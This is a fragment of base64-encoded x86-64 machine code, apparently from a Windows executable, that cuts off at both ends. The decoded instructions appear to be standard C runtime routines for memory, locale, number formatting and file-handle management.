MSIvN6Iix//9Ii/hIhcB0L0yJdCQ4RIvOTIl0JDBMi8OJbCQoM9IzyUiJRCQg/xUVhAAAhcB0CEiL90mL/usDSYv2SIvP6Aax///rA0mL9kiF23QJSIvL/xXDhAAASItcJFBIi8ZIi3QkYEiLbCRYSIt8JGhIg8RAQV7DzOkDAAAAzMzMSIlcJAhIiWwkEEiJdCQYV0iD7CBJi+hIi9pIi/FIhdJ0HTPSSI1C4Ej380k7wHMP6Hew///HAAwAAAAzwOtBSIXJdAroR5f//0iL+OsCM/9ID6/dSIvOSIvT6O3q//9Ii/BIhcB0Fkg7+3MRSCvfSI0MOEyLwzPS6Iee/v9Ii8ZIi1wkMEiLbCQ4SIt0JEBIg8QgX8PMzMxIiVwkCEiJbCQQSIl0JBhXSIPsIEiL8kiL+Ug7ynUEsAHrXEiL2UiLK0iF7XQPSIvN/xVdjQAA/9WEwHQJSIPDEEg73nXgSDvedNRIO990LUiDw/hIg3v4AHQVSIszSIX2dA1Ii87/FSiNAAAzyf/WSIPrEEiNQwhIO8d11zLASItcJDBIi2wkOEiLdCRASIPEIF/DSIlcJAhIiXQkEFdIg+wgSIvxSDvKdCZIjVr4SIs7SIX/dA1Ii8//FdSMAAAzyf/XSIPrEEiNQwhIO8Z13kiLXCQwsAFIi3QkOEiDxCBfw8xIiQ2h7AcAw0iJXCQIV0iD7CBIi/noLgAAAEiL2EiFwHQZSIvI/xWFjAAASIvP/9OFwHQHuAEAAADrAjPASItcJDBIg8QgX8NAU0iD7CAzyej31f//kEiLHUt6BwCLy4PhP0gzHT/sBwBI08szyegt1v//SIvDSIPEIFvDSIlcJAhMiUwkIFdIg+wgSYv5iwrot9X//5BIix0LegcAi8uD4T9IMx0X7AcASNPLiw/o7dX//0iLw0iLXCQwSIPEIF/DzMzMTIvcSIPsKLgDAAAATY1LEE2NQwiJRCQ4SY1TGIlEJEBJjUsI6I////9Ig8Qow8zMSIkNtesHAEiJDbbrBwBIiQ236wcASIkNuOsHAMPMzMxIi8RTVldBVEFVQVdIg+xIi/lFM+1EIWgYQLYBQIi0JIAAAACD+QIPhI4AAACD+QR0IoP5Bg+EgAAAAIP5CHQUg/kLdA+D+Q90cY1B64P4AXZp60ToB7n//0yL6EiFwHUIg8j/6SICAABIiwhIixVxrAAASMHiBEgD0esJOXkEdAtIg8EQSDvKdfIzyTPASIXJD5XAhcB1Euh/rf//xwAWAAAA6LCp///rt0iNWQhAMvZAiLQkgAAAAOs/g+kCdDOD6QR0E4PpCXQgg+kGdBKD+QF0BDPb6yJIjR3N6gcA6xlIjR286gcA6xBIjR3D6gcA6wdIjR2i6gcASIOkJJgAAAAAQIT2dAu5AwAAAOgm1P//kECE9nQXSIsVdXgHAIvKg+E/SDMTSNPKTIv66wNMiztJg/8BD5TAiIQkiAAAAITAD4W/AAAATYX/dRhAhPZ0CUGNTwPoMdT//7kDAAAA6IOc//9BvBAJAACD/wt3QEEPo/xzOkmLRQhIiYQkmAAAAEiJRCQwSYNlCACD/wh1Vug2t///i0AQiYQkkAAAAIlEJCDoI7f//8dAEIwAAACD/wh1MkiLBTCrAABIweAESQNFAEiLDSmrAABIweEESAPISIlEJChIO8F0MUiDYAgASIPAEOvrSIsVpncHAIvCg+A/uUAAAAAryDPASNPISDPCSIkD6wZBvBAJAABAhPZ0CrkDAAAA6HDT//+AvCSIAAAAAHQEM8DrYYP/CHUe6Ji2//9Ii9hJi89IixVbiQAA/9KLUxCLz0H/1+sRSYvPSIsFRYkAAP/Qi89B/9eD/wt3w0EPo/xzvUiLhCSYAAAASYlFCIP/CHWs6E22//+LjCSQAAAAiUgQ65tIg8RIQV9BXUFcX15bw8zMzEiLFfF2BwCLykgzFRDpBwCD4T9I08pIhdIPlcDDzMzMSIkN+egHAMNIiVwkCFdIg+wgSIsdv3YHAEiL+YvLSDMd2+gHAIPhP0jTy0iF23UEM8DrDkiLy/8Vo4gAAEiLz//TSItcJDBIg8QgX8PMzMxAU0iD7ECL2UiNTCQg6Gqw/v9Ii0QkKA+200iLCA+3BFElAIAAAIB8JDgAdAxIi0wkIIOhqAMAAP1Ig8RAW8PMQFVBVEFVQVZBV0iD7GBIjWwkUEiJXUBIiXVISIl9UEiLBSJ2BwBIM8VIiUUISGNdYE2L+UiJVQBFi+hIi/mF234USIvTSYvJ6OtIAAA7w41YAXwCi9hEi3V4RYX2dQdIiwdEi3AM952AAAAARIvLTYvHQYvOG9KDZCQoAEiDZCQgAIPiCP/C/xXLfAAATGPghcAPhHsCAABJi9RJuPD///////8PSAPSSI1KEEg70UgbwEiFwXRySI1KEEg70UgbwEgjwUg9AAQAAEiNQhB3N0g70EgbyUgjyEiNQQ9IO8F3A0mLwEiD4PDoSmIAAEgr4EiNdCRQSIX2D4T6AQAAxwbMzAAA6xxIO9BIG8lII8joG6r//0iL8EiFwHQOxwDd3QAASIPGEOsCM/ZIhfYPhMUBAABEiWQkKESLy02Lx0iJdCQgugEAAABBi87/FQZ8AACFwA+EnwEAAEiDZCRAAEWLzEiDZCQ4AEyLxkiDZCQwAEGL1UyLfQCDZCQoAEmLz0iDZCQgAOjIzP//SGP4hcAPhGIBAABBuAAEAABFheh0UotFcIXAD4ROAQAAO/gPj0QBAABIg2QkQABFi8xIg2QkOABMi8ZIg2QkMABBi9WJRCQoSYvPSItFaEiJRCQg6G/M//+L+IXAD4UMAQAA6QUBAABIi9dIA9JIjUoQSDvRSBvASIXBdHZIjUoQSDvRSBvASCPBSTvASI1CEHc+SDvQSBvJSCPISI1BD0g7wXcKSLjw////////D0iD4PDo9GAAAEgr4EiNXCRQSIXbD4SkAAAAxwPMzAAA6xxIO9BIG8lII8joxaj//0iL2EiFwHQOxwDd3QAASIPDEOsCM9tIhdt0c0iDZCRAAEWLzEiDZCQ4AEyLxkiDZCQwAEGL1Yl8JChJi89IiVwkIOiiy///hcB0MkiDZCQ4ADPSSCFUJDBEi8+LRXBMi8NBi86FwHVmIVQkKEghVCQg/xUGewAAi/iFwHVgSI1L8IE53d0AAHUF6Pen//8z/0iF9nQRSI1O8IE53d0AAHUF6N+n//+Lx0iLTQhIM83oSV0AAEiLXUBIi3VISIt9UEiNZRBBX0FeQV1BXF3DiUQkKEiLRWhIiUQkIOuUSI1L8IE53d0AAHWn6Jen///roMxIiVwkCEiJdCQQV0iD7HBIi/JJi9lIi9FBi/hIjUwkUOi7rP7/i4QkwAAAAEiNTCRYiUQkQEyLy4uEJLgAAABEi8eJRCQ4SIvWi4QksAAAAIlEJDBIi4QkqAAAAEiJRCQoi4QkoAAAAIlEJCDoM/z//4B8JGgAdAxIi0wkUIOhqAMAAP1MjVwkcEmLWxBJi3MYSYvjX8PMzIsFfuQHAMPM8P9BEEiLgeAAAABIhcB0A/D/AEiLgfAAAABIhcB0A/D/AEiLgegAAABIhcB0A/D/AEiLgQABAABIhcB0A/D/AEiNQThBuAYAAABIjRXDdAcASDlQ8HQLSIsQSIXSdAPw/wJIg3joAHQMSItQ+EiF0nQD8P8CSIPAIEmD6AF1y0iLiSABAADpeQEAAMxIiVwkCEiJbCQQSIl0JBhXSIPsIEiLgfgAAABIi9lIhcB0eUiNDQZ6BwBIO8F0bUiLg+AAAABIhcB0YYM4AHVcSIuL8AAAAEiFyXQWgzkAdRHoEqb//0iLi/gAAADojhsAAEiLi+gAAABIhcl0FoM5AHUR6PCl//9Ii4v4AAAA6HgcAABIi4vgAAAA6Nil//9Ii4v4AAAA6Myl//9Ii4MAAQAASIXAdEeDOAB1QkiLiwgBAABIgen+AAAA6Kil//9Ii4sQAQAAv4AAAABIK8/olKX//0iLixgBAABIK8/ohaX//0iLiwABAADoeaX//0iLiyABAADopQAAAEiNsygBAAC9BgAAAEiNezhIjQV2cwcASDlH8HQaSIsPSIXJdBKDOQB1Deg+pf//SIsO6Dal//9Ig3/oAHQTSItP+EiFyXQKgzkAdQXoHKX//0iDxghIg8cgSIPtAXWxSIvLSItcJDBIi2wkOEiLdCRASIPEIF/p8qT//8zMSIXJdBxIjQV8pgAASDvIdBC4AQAAAPAPwYFcAQAA/8DDuP///3/DzEiFyXQwU0iD7CBIjQVPpgAASIvZSDvIdBeLgVwBAACFwHUN6PgbAABIi8vomKT//0iDxCBbw8zMSIXJdBpIjQUcpgAASDvIdA6DyP/wD8GBXAEAAP/Iw7j///9/w8zMzEiD7ChIhckPhJYAAABBg8n/8EQBSRBIi4HgAAAASIXAdATwRAEISIuB8AAAAEiFwHQE8EQBCEiLgegAAABIhcB0BPBEAQhIi4EAAQAASIXAdATwRAEISI1BOEG4BgAAAEiNFSFyBwBIOVDwdAxIixBIhdJ0BPBEAQpIg3joAHQNSItQ+EiF0nQE8EQBCkiDwCBJg+gBdclIi4kgAQAA6DX///9Ig8Qow0iJXCQIV0iD7CDoQa7//0iL+IsNYHcHAIWIqAMAAHQMSIuYkAAAAEiF23U2uQQAAADohsr//5BIjY+QAAAASIsVw9gHAOgmAAAASIvYuQQAAADoucr//0iF23UG6A+d///MSIvDSItcJDBIg8QgX8NIiVwkCFdIg+wgSIv6SIXSdElIhcl0REiLGUg72nUFSIvC6zlIiRFIi8roLfz//0iF23QiSIvL6Kz+//+DexAAdRRIjQW/bwcASDvYdAhIi8vokvz//0iLx+sCM8BIi1wkMEiDxCBfw0BTSIPsIDPbSIXJdRjotqL//7sWAAAAiRjo5p7//4vD6ZQAAABIhdJ040WFwIgZi8NBD0/A/8BImEg70HcM6IWi//+7IgAAAOvNTYXJdL5Ji1EISI1BAcYBMOsZRIoSRYTSdAVI/8LrA0GyMESIEEj/wEH/yEWFwH/iiBh4FIA6NXwP6wPGADBI/8iAODl09f4AgDkxdQZB/0EE6xpJg8j/Sf/AQjhcAQF19kn/wEiNUQHoyZT+/zPASIPEIFvDzEBVU1ZXQVRBVUFWQVdIjawkKPn//0iB7NgHAABIiwVdbQcASDPESImFwAYAAEiJTCQ4TYvxSI1MJGBMiUwkUE2L+EyJRCRwi/LoOkAAAItEJGBFM+2D4B88H3UHRIhsJGjrD0iNTCRg6IdAAADGRCRoAUiLXCQ4SLkAAAAAAAAAgEiLw02JdwhII8G/IAAAAEj32Em8////////DwBIuAAAAAAAAPB/G8mD4Q0Dz0GJD0iF2HUsSYXcdSdIi5VABwAATI0Fy7gAAEmLzkWJbwToo5r//4XAD4TxEQAA6SASAABIjUwkOOjIrf//hcB0CEHHRwQBAAAAg+gBD4SvEQAAg+gBD4SHEQAAg+gBD4RfEQAAg/gBD4Q3EQAASLj/////////f0G5/wcAAEgj2P/GSIlcJDjyDxBEJDjyDxFEJFhIi1QkWEyLwol0JExJweg0TYXBD5TBisH22Ei4AAAAAAAAEABNG/ZJI9RJ99ZMI/BMA/L22RvARSPB99j/wEGNmMz7//8D2OiCQAAA6LE/AADyDyzIRIl1hEG6AQAAAI2BAQAAgIPg/vfYRRvkScHuIEQj4USJdYhBi8ZEiWQkMPfYG9L32kED0olVgIXbD4ipAgAAM8DHhSgDAAAAABAAiYUkAwAAjXACibUgAwAAO9YPhWEBAABFi8VBi8iLRI2EOYSNJAMAAA+FSgEAAEUDwkQ7xnXkRI1bAkSJbCQ4RYvLi/dBg+MfQcHpBUEr80mL2ovOSNPjQSvaQQ+9xkSL40H31HQE/8DrA0GLxSv4QY1BAkQ730EPl8eD+HNBD5fAg/hzdQhBispFhP91A0GKzUGDzf9FhMAPhaEAAACEyQ+FmQAAAEG+cgAAAEE7xkQPQvBFO/V0XEWLxkUrwUONPAhBO/lyR0Q7wnMHRotUhYTrA0Uz0kGNQP87wnMGi1SFhOsCM9JBI9SLztPqRQPFRCPTQYvLQdPiQQvSQ40ECIlUvYRBO8V0BYtVgOuwQboBAAAARTPtQYvNRYXJdA+LwUEDykSJbIWEQTvJdfFFhP9BjUYBRA9F8ESJdYDrCkUz7UWL9USJbYDHhVQBAAAEAAAARItkJDBBvwEAAABEib1QAQAARIm9IAMAAESJrSgDAADpdAMAAINkJDgARI1bAUWLy41C/0GD4x9BwekFRIv/SYvaRSv7QYvPSNPjQSvai8gPvUSFhESL60H31XQE/8DrAjPAK/hCjQQKRDvfQQ+XxIP4c0EPl8CD+HN1CkWE5HQFQYrK6wIyyUGDyv9FhMAPhaAAAACEyQ+FmAAAAEG+cgAAAEE7xkQPQvBFO/J0XEWLxkUrwUONPAhBO/lyTUQ7wnMHRotUhYTrA0Uz0kGNQP87wnMGi1SFhOsCM9JEI9NBi8tB0+JBI9VBi8/T6kQL0kSJVL2EQYPK/0UDwkONBAhBO8J0BYtVgOuqRTPtQYvNRYXJdA6Lwf/BRIlshYRBO8l18kWE5EGNRgFED0XwRIl1gOsKRTPtRYv1RIltgIm1VAEAAOm2/v//gfsC/P//D4QsAQAAM8DHhSgDAAAAABAAiYUkAwAAjXACibUgAwAAO9YPhQkBAABFi8VBi8iLRI2EOYSNJAMAAA+F8gAAAEUDwkQ7xnXkQQ+9xkSJbCQ4dAT/wOsDQYvFK/iLzjv+QQ+SwUGDzf87ynMJi8FEi0SFhOsDRTPAjUH/O8JzBotUhYTrAjPSQYvAweoeweACM9CLwUEDzYlUhYRBO810BYtVgOvDQfbZSI2NJAMAAEUb9jPSQffeRAP2K/OL/kSJdYDB7wWL30jB4wJMi8PoCIv+/4PmH0SNfwFAis5Fi8e4AQAAAEnB4ALT4ImEHSQDAABFM+1Eib1QAQAARIm9IAMAAE2FwA+EPQEAALvMAQAASI2NVAEAAEw7ww+HBwEAAEiNlSQDAADoDo/+/+kQAQAAjUL/RIlsJDiLyA+9RIWEdAT/wOsDQYvFK/hBO/pBD5LBg/pzD5fBg/pzdQhBisJFhMl1A0GKxUGDzf+EyXVohMB1ZEG+cgAAAEE71kQPQvJFO/V0PkGLzjvKcwmLwUSLRIWE6wNFM8CNQf87wnMGi1SFhOsCM9LB6h9DjQQAM9CLwUEDzYlUhYRBO810BYtVgOvFRTPtQY1GAUWEyUQPRfBEiXWA6wpFM+1Fi/VEiW2AQYv6SI2NJAMAACv7M9KL98HuBYveSMHjAkyLw+jXif7/g+cfRI1+AUCKz0WLx7gBAAAA0+CJhB0kAwAAScHgAunN/v//TIvDM9LoqYn+/+hMm///xwAiAAAA6H2X//9Ei71QAQAAuM3MzMxFheQPiL4EAABB9+SLwkiNFYhW8v/B6AOJRCRIRIvgiUQkQIXAD4TTAwAAuCYAAABFi+xEO+BED0foRIlsJERBjUX/D7aMglI/DgAPtrSCUz8OAIvZi/gz0kjB4wJMi8ONBA5IjY0kAwAAiYUgAwAA6BiJ/v9IjQ0hVvL/SMHmAg+3hLlQPw4ASI2RQDYOAEiNjSQDAABMi8ZIA8tIjRSC6EiN/v9Ei50gAwAAQYP7AQ+HogAAAIuFJAMAAIXAdQ9FM/9Eib1QAQAA6QkDAACD+AEPhAADAABFhf8PhPcCAABFM8BMi9BFM8lCi4yNVAEAAEGLwEkPr8pIA8hMi8FCiYyNVAEAAEnB6CBB/8FFO89110WFwHQ0g71QAQAAc3Mai4VQAQAARImEhVQBAABEi71QAQAAQf/H64hFM/9Eib1QAQAAMsDpjgIAAESLvVABAADpgAIAAEGD/wEPh60AAACLnVQBAABNi8NJweACRYv7RImdUAEAAE2FwHRAuMwBAABIjY1UAQAATDvAdw5IjZUkAwAA6FKM/v/rGkyLwDPS6OaH/v/oiZn//8cAIgAAAOi6lf//RIu9UAEAAIXbD4T6/v//g/sBD4QJAgAARYX/D4QAAgAARTPATIvTRTPJQouMjVQBAABBi8BJD6/KSAPITIvBQomMjVQBAABJweggQf/BRTvPddfpBP///0U730iNjVQBAABFi+dMja0kAwAAD5LASI2VVAEAAITATA9E6UUPReNFD0XfSI2NJAMAAEgPRNFFM/9FM9JIiVQkOESJvfAEAABFheQPhBoBAABDi3SVAEGLwoX2dSFFO9cPhfkAAABCIbSV9AQAAEWNegFEib3wBAAA6eEAAAAz20WLykWF2w+ExAAAAEGL+vffQYP5c3RnRTvPdRtBi8FBjUoBg6SF9AQAAABCjQQPA8iJjfAEAABCjQQPRYvBixSCQf/Bi8NID6/WSAPQQouEhfQEAABIA9BCjQQPSIvaQomUhfQEAABEi73wBAAASMHrIEE7w3QHSItUJDjrk4XbdE5Bg/lzD4R+AQAARTvPdRVBi8GDpIX0BAAAAEGNQQGJhfAEAABBi8lB/8GL04uEjfQEAABIA9CJlI30BAAARIu98AQAAEjB6iCL2oXSdbJBg/lzD4QwAQAASItUJDhB/8JFO9QPheb+//9Fi8dJweACRIm9UAEAAE2FwHRAuMwBAABIjY1UAQAATDvAdw5IjZX0BAAA6EKK/v/rGkyLwDPS6NaF/v/oeZf//8cAIgAAAOiqk///RIu9UAEAAESLZCRARItsJESwAYTAD4S4AAAARSvlSI0VsVLy/0SJZCRAD4U0/P//i0QkSEUz7Yt8JDCNBIADwIvPK8gPhB8FAACNQf+LhILoPw4AhcAPhIkAAACD+AEPhAQFAABFhf8PhPsEAABFi8VFi81Ei9BBi9FB/8FBi8CLjJVUAQAASQ+vykgDyEyLwYmMlVQBAABJweggRTvPddZFhcB0ToO9UAEAAHNzNouFUAEAAESJhIVUAQAARIu9UAEAAEH/x0SJvVABAADplgQAAEUz7UWL/USJrVABAADpgAQAAEWL/USJrVABAADpdQQAAESLvVABAADpaQQAAEGLzPfZ9+GJTCREi8JIjRXCUfL/wegDiUQkOESL4IlEJECFwA+ElwMAALgmAAAARYvsRDvgRA9H6ESJbCRIQY1F/w+2jIJSPw4AD7a0glM/DgCL2Yv4M9JIweMCTIvDjQQOSI2NJAMAAImFIAMAAOhShP7/SI0NW1Hy/0jB5gIPt4S5UD8OAEiNkUA2DgBIjY0kAwAATIvGSAPLSI0UguiCiP7/i70gAwAAg/8BD4eHAAAAi4UkAwAAhcB1DEUz9kSJdYDpzgIAAIP4AQ+ExQIAAEWF9g+EvAIAAEUzwEyL0EUzyUKLTI2EQYvASQ+vykgDyEyLwUKJTI2EScHoIEH/wUU7znXdRYXAdCWDfYBzcxGLRYBEiUSFhESLdYBB/8brnUUz9kSJdYAywOloAgAARIt1gOldAgAAQYP+AQ+HmgAAAItdhEyLx0nB4AJEi/eJfYBNhcB0OrjMAQAASI1NhEw7wHcOSI2VJAMAAOizh/7/6xpMi8Az0uhHg/7/6OqU///HACIAAADoG5H//0SLdYCF2w+EIv///4P7AQ+E8wEAAEWF9g+E6gEAAEUzwEyL00UzyUKLTI2EQYvASQ+vykgDyEyLwUKJTI2EScHoIEH/wUU7znXd6Sn///9BO/5IjU2ERYvmTI2tJAMAAA+SwEiNVYSEwEwPROlED0XnQQ9F/kiNjSQDAABID0TRRTP2RTPSSIlUJFhEibXwBAAARYXkD4QZAQAAQ4t0lQBBi8KF9nUhRTvWD4X4AAAAQiG0lfQEAABFjXIBRIm18AQAAOngAAAAM9tFi8qF/w+ExAAAAEWL2kH320GD+XN0ZkU7znUbQYvBQY1JAYOkhfQEAAAAQ40EGgPIiY3wBAAAQ40EC0WLwYsUgkH/wUgPr9ZCi4SF9AQAAEgD0IvDSAPQQ40EC0iL2kKJlIX0BAAARIu18AQAAEjB6yA7x3QHSItUJFjrlIXbdE5Bg/lzD4RXAQAARTvOdRVBi8GDpIX0BAAAAEGNQQGJhfAEAABBi8lB/8GLw4uUjfQEAABIA9CJlI30BAAARIu18AQAAEjB6iCL2oXSdbJBg/lzD4QJAQAASItUJFhB/8JFO9QPhef+//9Fi8ZJweACRIl1gE2FwHQ6uMwBAABIjU2ETDvAdw5IjZX0BAAA6LmF/v/rGkyLwDPS6E2B/v/o8JL//8cAIgAAAOghj///RIt1gESLZCRARItsJEiwAYTAD4SaAAAARSvlSI0VK07y/0SJZCRAD4V0/P//i0wkREUz7YtEJDiNBIADwCvID4SXAAAAjUH/i4SC6D8OAIXAdGKD+AEPhIAAAABFhfZ0e0WLxUWLzUSL0EGL0UH/wUGLwItMlYRJD6/KSAPITIvBiUyVhEnB6CBFO8513EWFwHRFg32Ac4t8JDBzLYtFgESJRIWERIt1gEH/xkSJdYDrLkUz7UiLdCRQi3wkMEiL3kSJbYDphwAAAEiLdCRQSIveRIltgOt5RIt1gIt8JDBIi3QkUEiL3kWF9nRkRYvFRYvNQYvRQf/Bi0SVhEiNDIBBi8BMjQRIRIlElYRJweggRTvOdd1FhcB0NoN9gHNzDYtFgESJRIWE/0WA6yNFM8lEia0gAwAATI2FJAMAAESJbYC6zAEAAEiNTYTolHX//0iNlVABAABIjU2A6NxT//+D+AoPhZAAAAD/x8YGMUiNXgFFhf8PhI4AAABFi8VFi81Bi9FB/8GLhJVUAQAASI0MgEGLwEyNBEhEiYSVVAEAAEnB6CBFO89110WFwHRag71QAQAAc3MWi4VQAQAARImEhVQBAAD/hVABAADrO0UzyUSJrSADAABMjYUkAwAARImtUAEAALrMAQAASI2NVAEAAOjtdP//6xCFwHUE/8/rCAQwSI1eAYgGSItEJHCLTCRMiXgEhf94CoH5////f3cCA89Ii4VABwAASP/Ii/lIO8dID0L4SAP+SDvfD4ToAAAAQb4JAAAAg87/RItVgEWF0g+E0gAAAEWLxUWLzUGL0UH/wYtElYRIacgAypo7QYvASAPITIvBiUyVhEnB6CBFO8p12UWFwHQ2g32Ac3MNi0WARIlEhYT/RYDrI0UzyUSJrSADAABMjYUkAwAARIltgLrMAQAASI1NhOgkdP//SI2VUAEAAEiNTYDobFL//0SL10yLwEQr00G5CAAAALjNzMzMQffgweoDisrA4QKNBBECwEQqwEGNSDBEi8JFO9FyBkGLwYgMGEQDzkQ7znXOSIvHSCvDSTvGSQ9PxkgD2Eg73w+FIf///0SIK+t7SIuVQAcAAEyNBU+nAABJi87oD4n//4XAdGHppQAAAEiLlUAHAABMjQUopwAASYvO6PCI//+FwHRC6ZsAAABIi5VABwAATI0FAacAAEmLzujRiP//hcB0I+mRAAAASIuVQAcAAEyNBdqmAABJi87osoj//4XAD4WIAAAARDhsJGh0CkiNTCRg6MktAABIi43ABgAASDPM6LJEAABIgcTYBwAAQV9BXkFdQVxfXltdw0UzyUyJbCQgRTPAM9IzyehOi///zEUzyUyJbCQgRTPAM9Izyeg5i///zEUzyUyJbCQgRTPAM9Izyegki///zEUzyUyJbCQgRTPAM9IzyegPi///zEUzyUyJbCQgRTPAM9Izyej6iv//zMxIi8RIiVgYSIlwIEiJUBCISAhXSIPsIEiLyughqf//SItMJDhMY8iLURT2wsAPhKgAAABIi0wkODPbi/NIi0EIizlI/8AreQhIiQFIi0QkOItIIP/JiUgQhf9+KUiLVCQ4RIvHQYvJSItSCOh4vP//i/BIi0QkODv3SItICIpEJDCIAetsQY1BAoP4AXYeSYvJSI0VfMMHAIPhP0mLwUjB+AZIweEGSAMMwusHSI0NMVwHAPZBOCB0uTPSQYvJRI1CAuidDwAASIP4/3WlSItMJDjwg0kUELAB6xlBuAEAAABIjVQkMEGLyej6u///g/gBD5TASItcJEBIi3QkSEiDxCBfw0iLxEiJWBhIiXAgSIlQEGaJSAhXSIPsIEiLyugcqP//SItMJDhMY8iLURT2wsAPhKwAAABIi0wkODPbi/NIi0EIizlIg8ACK3kISIkBSItEJDiLSCCD6QKJSBCF/34rSItUJDhEi8dBi8lIi1II6HG7//+L8EiLRCQ4O/dIi0gID7dEJDBmiQHrbEGNQQKD+AF2HkmLyUiNFXPCBwCD4T9Ji8FIwfgGSMHhBkgDDMLrB0iNDShbBwD2QTggdLcz0kGLyUSNQgLolA4AAEiD+P91o0iLTCQ48INJFBCwAesZQbgCAAAASI1UJDBBi8no8br//4P4Ag+UwEiLXCRASIt0JEhIg8QgX8PMzMxIiVwkCEiJdCQQV0iD7CCL+UiL2kiLyugUp///RItDFIvwQfbABnUY6F+M///HAAkAAADwg0sUEIPI/+mYAAAAi0MUwegMuQEAAACEwXQN6DiM///HACIAAADr14tDFITBdBqDYxAAi0MUwegDhMF0wkiLQwhIiQPwg2MU/vCDSxQC8INjFPeDYxAAi0MUqcAEAAB1LOhux/7/SDvYdA+5AgAAAOhfx/7/SDvYdQuLzugfAQAAhcB1CEiLy+hnGAAASIvTQIrP6CT9//+EwA+EX////0APtsdIi1wkMEiLdCQ4SIPEIF/DSIlcJAhIiXQkEFdIg+wgi/lIi9pIi8roLKb//0SLQxSL8EH2wAZ1Guh3i///xwAJAAAA8INLFBC4//8AAOmXAAAAi0MUwegMuQEAAACEwXQN6E6L///HACIAAADr1YtDFITBdBqDYxAAi0MUwegDhMF0wEiLQwhIiQPwg2MU/vCDSxQC8INjFPeDYxAAi0MUqcAEAAB1LOiExv7/SDvYdA+5AgAAAOh1xv7/SDvYdQuLzug1AAAAhcB1CEiLy+h9FwAASIvTD7fP6D79//+EwA+EXf///w+3x0iLXCQwSIt0JDhIg8QgX8PMzMxIg+wog/n+dQ3oqor//8cACQAAAOtChcl4LjsNEMQHAHMmSGPJSI0VBMAHAEiLwYPhP0jB+AZIweEGSIsEwg+2RAg4g+BA6xLoa4r//8cACQAAAOichv//M8BIg8Qow8xIhckPhAABAABTSIPsIEiL2UiLSRhIOw08XgcAdAXoVYr//0iLSyBIOw0yXgcAdAXoQ4r//0iLSyhIOw0oXgcAdAXoMYr//0iLSzBIOw0eXgcAdAXoH4r//0iLSzhIOw0UXgcAdAXoDYr//0iLS0BIOw0KXgcAdAXo+4n//0iLS0hIOw0AXgcAdAXo6Yn//0iLS2hIOw0OXgcAdAXo14n//0iLS3BIOw0EXgcAdAXoxYn//0iLS3hIOw36XQcAdAXos4n//0iLi4AAAABIOw3tXQcAdAXonon//0iLi4gAAABIOw3gXQcAdAXoiYn//0iLi5AAAABIOw3TXQcAdAXodIn//0iDxCBbw8zMSIXJdGZTSIPsIEiL2UiLCUg7DR1dBwB0BehOif//SItLCEg7DRNdBwB0Beg8if//SItLEEg7DQldBwB0Begqif//SItLWEg7DT9dBwB0BegYif//SItLYEg7DTVdBwB0BegGif//SIPEIFvDSIlcJAhIiXQkEFdIg+wgM/9IjQTRSIvwSIvZSCvxSIPGB0jB7gNIO8hID0f3SIX2dBRIiwvoxoj//0j/x0iNWwhIO/517EiLXCQwSIt0JDhIg8QgX8PMzEiFyQ+E/gAAAEiJXCQISIlsJBBWSIPsIL0HAAAASIvZi9Xogf///0iNSziL1eh2////jXUFi9ZIjUtw6Gj///9IjYvQAAAAi9boWv///0iNizABAACNVfvoS////0iLi0ABAADoP4j//0iLi0gBAADoM4j//0iLi1ABAADoJ4j//0iNi2ABAACL1egZ////SI2LmAEAAIvV6Av///9IjYvQAQAAi9bo/f7//0iNizACAACL1ujv/v//SI2LkAIAAI1V++jg/v//SIuLoAIAAOjUh///SIuLqAIAAOjIh///SIuLsAIAAOi8h///SIuLuAIAAOiwh///SItcJDBIi2wkOEiDxCBew0BVQVRBVUFWQVdIg+xgSI1sJDBIiV1gSIl1aEiJfXBIiwXSUgcASDPFSIlFIESL6kWL+UiL0U2L4EiNTQDoqoz+/4u1iAAAAIX2dQdIi0UIi3AM952QAAAARYvPTYvEi84b0oNkJCgASINkJCAAg+II/8L/FY9ZAABMY/CFwHUHM//p8QAAAEmL/kgD/0iNTxBIO/lIG8BIhcF0dUiNTxBIO/lIG8BII8FIPQAEAABIjUcQdzpIO/hIG8lII8hIjUEPSDvBdwpIuPD///////8PSIPg8OgOPwAASCvgSI1cJDBIhdt0eccDzMwAAOscSDv4SBvJSCPI6OOG//9Ii9hIhcB0DscA3d0AAEiDwxDrAjPbSIXbdEhMi8cz0kiLy+izdP7/RYvPRIl0JChNi8RIiVwkILoBAAAAi87/FcZYAACFwHQaTIuNgAAAAESLwEiL00GLzf8VNFoAAIv46wIz/0iF23QRSI1L8IE53d0AAHUF6CiG//+AfRgAdAtIi0UAg6CoAwAA/YvHSItNIEgzzeiBOwAASItdYEiLdWhIi31wSI1lMEFfQV5BXUFcXcPMzMxIiVwkCEiJbCQQSIl0JBhXSIPsILpAAAAAi8roMKX//zP2SIvYSIXAdExIjagAEAAASDvFdD1IjXgwSI1P0EUzwLqgDwAA6I2o//9Ig0/4/0iJN8dHCAAACgrGRwwKgGcN+ECIdw5IjX9ASI1H0Eg7xXXHSIvzM8nob4X//0iLXCQwSIvGSIt0JEBIi2wkOEiDxCBfw8zMzEiFyXRKSIlcJAhIiXQkEFdIg+wgSI2xABAAAEiL2UiL+Ug7znQSSIvP/xV1VgAASIPHQEg7/nXuSIvL6BSF//9Ii1wkMEiLdCQ4SIPEIF/DSIlcJAhIiXQkEEiJfCQYQVdIg+wwi/Ez24vDgfkAIAAAD5LAhcB1Fei3hP//uwkAAACJGOjngP//i8PrZLkHAAAA6Lmr//+QSIv7SIlcJCCLBQa+BwA78Hw7TI09+7kHAEk5HP90Ausi6Kr+//9JiQT/SIXAdQWNWAzrGYsF2r0HAIPAQIkF0b0HAEj/x0iJfCQg68G5BwAAAOi1q///65hIi1wkQEiLdCRISIt8JFBIg8QwQV/DzEhjyUiNFZq5BwBIi8GD4T9IwfgGSMHhBkgDDMJI/yWRVQAAzEiLxEiJWAhIiWgQSIlwGEiJeCBBVkiD7CBIY9lIi/qFyXhrOx1XvQcAc2NIi/NMjTVLuQcAg+Y/SIvrSMH9BkjB5gZJiwTuSIN8MCj/dT/oaCkAAIP4AXUohdt0FivYdAs72HUcufT////rDLn1////6wW59v///0iL1/8Vf1cAAEmLBO5IiXwwKDPA6xbodYP//8cACQAAAOhKg///gyAAg8j/SItcJDBIi2wkOEiLdCRASIt8JEhIg8QgQV7DzEhjyUiNFba4BwBIi8GD4T9IwfgGSMHhBkgDDMJI/yWlVAAAzEiJXCQISIl0JBBIiXwkGEFUQVZBV0iD7DC5BwAAAOgdqv//SYPO/zPbTI0lbLgHAIlcJCCB+4AAAAAPjcgAAABIY/tJizT8SIX2dULoB/3//0mJBPxIhcAPhKoAAACDBTe8BwBAweMGi8voif7//0hjy0iLwUjB+AaD4T9IweEGSYsExMZECDgBRIvz63pMjb4AEAAASIv+SIl0JChJO/90X/